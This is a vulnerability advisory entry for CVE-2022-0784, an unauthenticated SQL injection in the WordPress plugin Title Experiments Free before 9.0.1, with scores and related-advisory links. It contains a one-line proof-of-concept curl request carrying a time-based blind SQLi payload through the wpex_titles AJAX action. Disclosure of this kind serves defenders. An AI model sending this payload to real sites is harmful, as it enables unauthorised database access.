Lucene search
CydaveWPVDB-ID:6672B59F-14BC-4A22-9E0B-FCAB4E01D97FHistoryMar 07, 2022 - 12:00 a.m.
Title Experiments Free < 9.0.1 - Unauthenticated SQLi
2022-03-0700:00:00
cydave
wpscan.com
11
0.04 Low
EPSS
Percentile
92.2%
The plugin does not sanitise and escape the id parameter before using it in a SQL statement via the wpex_titles AJAX action (available to unauthenticated users), leading to an unauthenticated SQL injection
PoC
curl ‘https://example.com/wp-admin/admin-ajax.php’ --data ‘action=wpex_titles&id;[]=1 AND (SELECT 321 FROM (SELECT(SLEEP(5)))je)’
| CPE | Name | Operator | Version |
|---|---|---|---|
| wp-experiments-free | lt | 9.0.1 |
Related
cve
cve
CVE-2022-0784
2022-03-28 18:15:09
nvd
nvd
CVE-2022-0784
2022-03-28 18:15:09
prion
prion
Sql injection
2022-03-28 18:15:00
cvelist
cvelist
CVE-2022-0784 Title Experiments Free < 9.0.1 - Unauthenticated SQLi
2022-03-28 17:23:21
nuclei
nuclei
WordPress Title Experiments Free <9.0.1 - SQL Injection
2023-01-01 12:46:16
wpexploit
wpexploit
Title Experiments Free < 9.0.1 - Unauthenticated SQLi
2022-03-07 00:00:00
patchstack
patchstack